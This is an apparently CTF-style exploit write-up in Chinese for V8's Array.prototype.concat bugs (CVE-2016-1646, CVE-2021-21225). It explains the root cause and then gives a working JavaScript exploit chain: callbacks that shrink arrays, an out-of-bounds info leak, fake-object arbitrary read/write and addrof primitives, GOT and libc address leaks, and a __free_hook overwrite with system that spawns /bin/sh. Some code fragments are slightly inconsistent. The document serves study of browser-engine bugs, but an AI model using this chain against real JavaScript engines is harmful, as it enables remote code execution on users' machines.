evilCallback: CVE-2021-21225
CVE-2016-1646
在进行这个分析中,可以先看一个比较旧的漏洞 CVE-2016-1646
,在执行
的时候,v8会使用
1 2 3 4 for (int i = 0 ; i < argument_count; i++) { Handle<Object> object = args‑>at (i); IterateElements (isolate, object, &visitor)) }
遍历concat()
的每一个对象并且传入IterateElements
,对于一个只有double
元素的数组,它的elementsKind
属于FAST_DOUBLE_ELEMENTS
这时,在IterateElements
会进入如下分支
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 switch (array‑>GetElementsKind ()) { case FAST_DOUBLE_ELEMENTS: { Handle<FixedArray> elements (FixedArray::cast(array->elements())) ; int fast_length = static_cast <int >(length); FOR_WITH_HANDLE_SCOPE (isolate, int , j = 0 , j, j < fast_length, j++, { Handle<Object> element_value (elements->get (j), isolate); if (!element_value->IsTheHole (isolate)) { if (!visitor->visit (j, element_value)) return false ; } else { ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate, element_value, JSReceiver::GetElement (isolate, array, j), false ); if (!visitor->visit (j, element_value)) return false ; } });
在这里可以发现,数组的length
被缓存下来,然后使用fast_length
来控制循环次数,但如果遇到一个hole
型的元素,就会使用JSReceiver::GetElement(isolate, array, j), false
从原型链查找,这个时候会触发getter/setter
callback,这里可以执行任意的JavaScript,如果在这个callback中
1 2 3 4 5 proto.__defineGetter__(1 , function ( ) { array.length = 1 ; new ArrayBuffer (0x7fe00000 ); return 1 ; });
就可以导致数组长度变短,并且经过垃圾回收,空闲的内存将被再次分配到其它对象,然而fast_length
并没有被修改,导致越界读
CVE-2021-21225
从上面我们可以知道,如果在遍历过程中能够触发callback并且修改掉数组长度,就很有可能是不安全的,观察patch可以发现,patch其实就是重新引入了CVE-2021-21225
,在visit()
中,有
1 2 3 MAYBE_RETURN ( JSReceiver::CreateDataProperty (&it, elm, Just (kThrowOnError)), false ); return true ;
这又会调用Maybe<bool> Object::SetDataProperty(LookupIterator* it, Handle<Object> value)
,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Maybe<bool > Object::SetDataProperty (LookupIterator* it, Handle<Object> value) { Isolate* isolate = it->isolate (); DCHECK_IMPLIES (it->GetReceiver ()->IsJSProxy (isolate), it->GetName ()->IsPrivateName (isolate)); DCHECK_IMPLIES (!it->IsElement () && it->GetName ()->IsPrivateName (isolate), it->state () == LookupIterator::DATA); Handle<JSReceiver> receiver = Handle<JSReceiver>::cast (it->GetReceiver ()); DCHECK (it->HolderIsReceiverOrHiddenPrototype ()); Handle<Object> to_assign = value; if (it->IsElement () && receiver->IsJSObject (isolate) && JSObject::cast (*receiver).HasTypedArrayOrRabGsabTypedArrayElements ( isolate)) { ElementsKind elements_kind = JSObject::cast (*receiver).GetElementsKind (); if (IsBigIntTypedArrayElementsKind (elements_kind)) { ASSIGN_RETURN_ON_EXCEPTION_VALUE (isolate, to_assign, BigInt::FromObject (isolate, value), Nothing<bool >()); if (Handle<JSTypedArray>::cast (receiver)->IsDetachedOrOutOfBounds ()) { return Just (true ); } } else if (!value->IsNumber () && !value->IsUndefined (isolate)) { ASSIGN_RETURN_ON_EXCEPTION_VALUE (isolate, to_assign, Object::ToNumber (isolate, value), Nothing<bool >()); if (Handle<JSTypedArray>::cast (receiver)->IsDetachedOrOutOfBounds ()) { return Just (true ); } } }
在value
不是Number
的时候,会进一步调用Object::ToNumber
这会触发valueOf
callback,接下来我们只需要能进入外层的if,这里我们需要让receiver为一个TypedArray
,这可以通过Symbol.species
来实现,concat
会通过Symbol.species
来构造需要返回的对象,
1 2 3 4 5 6 7 8 9 class LeakTypedArray extends Float64Array { }let lta = new LeakTypedArray (1024 ); lta.__defineSetter__('length' , function () { }) const C = new Function ();C.__defineGetter__(Symbol.species, () => { return function () { return lta; } });
这样我们就可以让它返回一个TypedArray
了,然后通过valueOf
callback,触发数组长度缩减
1 2 3 4 5 6 7 Array .prototype[0 ] = { valueOf : function ( ) { a.length = 1 ; new ArrayBuffer (0x7fe00000 ); delete Array .prototype[0 ]; } };
Build our primitive
Info leak
在v8中,literal array的储存方式为
1 2 Low High [element 0][element 1]...[element n][Map][Property][Elements][Length]
所以通过越界读,我们可以泄漏出Map
, Property
和Elements
,从而计算出其它相邻对象的地址
arbitrary r/w
首先我们要能够得到一个最基本的任意读写能力,通过以上的分析,我们可以轻松泄漏出相邻对象的地址,接下来我们考虑构造一个fake object,它的类型为Float Array,这在第一步的时候,通过泄漏的Map,Property,Elements,Length就可以实现,我们把这些泄漏数据存入fake_object_arr的buffer中,接下来它的buffer就会成为这个fake object。
对于一个混合类型的数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 case PACKED_SMI_ELEMENTS:case PACKED_ELEMENTS:case PACKED_FROZEN_ELEMENTS:case PACKED_SEALED_ELEMENTS:case PACKED_NONEXTENSIBLE_ELEMENTS:case HOLEY_SMI_ELEMENTS:case HOLEY_FROZEN_ELEMENTS:case HOLEY_SEALED_ELEMENTS:case HOLEY_NONEXTENSIBLE_ELEMENTS:case HOLEY_ELEMENTS: { DisallowJavascriptExecution no_js (isolate) ; Handle<FixedArray> elements (FixedArray::cast(array->elements()), isolate) ; int fast_length = static_cast <int >(length); DCHECK (fast_length <= elements->length ()); FOR_WITH_HANDLE_SCOPE (isolate, int , j = 0 , j, j < fast_length, j++, { Handle<Object> element_value (elements->get (j), isolate); if (!element_value->IsTheHole (isolate)) { if (!visitor->visit (j, element_value)) return false ; } else { Maybe<bool > maybe = JSReceiver::HasElement (isolate, array, j); if (maybe.IsNothing ()) return false ; if (maybe.FromJust ()) { ASSIGN_RETURN_ON_EXCEPTION_VALUE ( isolate, element_value, JSReceiver::GetElement (isolate, array, j), false ); if (!visitor->visit (j, element_value)) return false ; } } }); break ; }
将会获得对应元素的指针,如果我们通过callback缩减数组长度,并进行垃圾回收,从而让这个目标数组中hole
的位置与另外一个存有我们fake_object地址的地址重叠,这个时候elements->get(j)
就会返回我们的fake_object对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var a = [ 1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 , 8.8 , 9.9 , , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 , 8.8 , 9.9 , 1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 , 8.8 , 9.9 , 1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 , 8.8 , 9.9 , 1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 , 8.8 , {} ]; var addr = helper.lltof(helper.fake_object_arr_buffer_addr)k.fill(0 ); var fake_jsarray_object_ptr = [ 1.1 , 2.2 , 3.3 , 4.4 , 1.1 , 2.2 , 3.3 , 4.4 , addr ]
这里,我们让addr和hole在垃圾回收后重叠,就可以获得一个以fake_object_arr_buffer_addr
为地址的对象了,并且这个对象的属性可以通过fake_object
来进行任意的控制,我们就获得了基础的任意读写能力,然而这里有一个问题,就是此时我们的对象其实是一个浮点数组,根上面的分析,这里会尝试将这个数组转换为Number
,这会抛出异常,如果在原型链上再加一个callback,通过抛出异常我们就可以顺利退出这个函数,并且把得到的fake_object保存下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Array .prototype[9 ] = { valueOf : function ( ) { a.length = 1 ; k.length = 1 ; new ArrayBuffer (0x7fe00000 ); Object .prototype.valueOf = function ( ) { console .log("trigger" ); target_array = this ; delete Object .prototype.valueOf; throw 'bailout' ; return 42 ; } delete Array .prototype[9 ]; return 1.1 ; } };
接下来构造任意读写
1 2 3 4 5 6 7 8 9 10 11 12 function arbread (addr ) { console .log("[*] read @" + helper.hex(addr)); helper.fake_object[2 ] = helper.lltof(addr - 0x10n ); return helper.ftoll(target_array[0 ]); } function arbwrite (addr, data ) { console .log("[*] write " + helper.hex(data) + " to @" + helper.hex(addr)); helper.fake_object[2 ] = helper.lltof(addr - 0x10n ); target_array[0 ] = helper.lltof(data << 8n ); return ; }
通过fake_object
我们可以控制target_array
的属性,fake_object[2]
就是target_array
的elements
指针,由此我们就实现了任意读写。
address of
在 JavaScript 引擎的漏洞利用中一个很重要的 primitive 就是 address of,让我们获取任意对象的地址,考虑
1 var arr = [{}, 1 , 1 , 1 , 1 , 1 , 1 ]
arr是一个混合数组,其中存储的是对象的指针,我们将对象存入arr[0]
再通过任意读读出这个位置的值,就能知道任意对象的地址了。
1 2 3 4 5 function addrof (object ) { helper.addrof_array[0 ] = object; helper.fake_object[2 ] = helper.lltof(helper.addrof_array_addr); return helper.ftoll(target_array[0 ]); }
Code execution
有两种方法,在 JavaScript 引擎的利用中我们可以利用 wasm 或者 JIT 产生的 rwx 代码段写 shellcode,也可以靠普通的glibc方法(这里不同的库版本会有影响),泄漏 glibc 地址,写 freehook 拿到任意代码执行,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 console .log("[*] address of array: " + helper.hex(addr_of_arr))addr_of_arr_constructor = addrof(arr.constructor) - 1n ; console .log("[*] address of array constructor: " + helper.hex(addr_of_arr_constructor))arr_map_addr = arbread(addr_of_arr); console .log("[*] address of arr_map_addr: " + helper.hex(arr_map_addr));map_region = arr_map_addr & 0xFFFFFFFFFFFF0000n console .log("[*] address of map_region: " + helper.hex(map_region));p1 = map_region + 0x40n ; p2 = arbread(p1) / 256n ; p3 = arbread(p2) / 256n ; code = arbread(p3) / 256n - 0x389eb0n ; console .log("[+] code: " + helper.hex(code));
通过map我们可以拿到可执行文件的基址,然后通过GOT表拿到libc地址
1 2 3 4 5 6 7 8 9 10 11 puts_got = code + 0xfd86b0n ; libc_addr = arbread(memcpy_got) / 256n - 0xbbad0n ; console .log("[+] puts: " + helper.hex(arbread(puts_got) / 256n ));console .log("[+] libc_addr: " + helper.hex(libc_addr));freehook = libc_addr + 0x1eee48n ; console .log("[+] freehook: " + helper.hex(freehook));system = libc_addr + 0x52290n console .log("[+] system: " + helper.hex(system));
然后写freehook为system
,最后利用console.log
会释放参数,执行任意命令
1 2 arbwrite(freehook, system); console .log("/bin/sh" );
enjoy your shell